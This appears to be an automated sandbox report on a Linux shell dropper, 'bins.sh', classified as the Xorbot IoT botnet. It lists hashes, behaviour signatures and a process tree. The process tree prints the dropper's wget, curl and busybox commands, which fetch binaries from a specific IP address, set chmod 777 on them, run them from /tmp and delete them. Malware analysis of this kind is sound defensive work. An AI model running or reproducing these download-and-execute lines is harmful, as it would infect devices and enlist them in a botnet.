Analysis

  • max time kernel
    5s
  • max time network
    7s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05-01-2025 04:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e82d6bb75d49d8b5732ffbd8b2d4b88c

  • SHA1

    2ed4e0b594b0dc301bd2b14b2df00e8c0c0f1675

  • SHA256

    c72772c053710f5d8e33f7c82811e588b2a2b25e5b9a56bfbc20c8255ba954c9

  • SHA512

    32cba099b69d3bc28f8eff2ba6152c2d205dc0dce7b1897e1d91a43ae6676cc9580b21aa6448ef5fc474b5a50e27300f4de5ca27fd34668f41f4ddbfbf1f5d3a

  • SSDEEP

    96:typkYWMKrbw4gpF832npkQYYg149K3bw4gpFK6lGcGB:CkYWMabw4gpF83uvew4gpFw

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:648
        • /usr/bin/wget
          wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:650
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod 777 ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          ./ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
            PID:694
          • /usr/bin/wget
            wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Writes file to tmp directory
            PID:695
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:712
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Writes file to tmp directory
            PID:727
          • /bin/chmod
            chmod 777 TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • File and Directory Permissions Modification
            PID:731
          • /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            ./TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Executes dropped EXE
            PID:732
          • /bin/rm
            rm TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
              PID:734
            • /usr/bin/wget
              wget http://66.63.187.225/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
                PID:735

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

              Filesize

              151KB

              MD5

              3c90d5820bddcf7c5d1bd21dfa49d958

              SHA1

              5ba05bd489e50af97d6dc45e3a0be60e494d5083

              SHA256

              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

              SHA512

              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

            • /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI

              Filesize

              98KB

              MD5

              5141342d0df8699fa32a6b066a0c592e

              SHA1

              8157673225bd5182f16215e2aa823a25ca2d4fbc

              SHA256

              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

              SHA512

              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801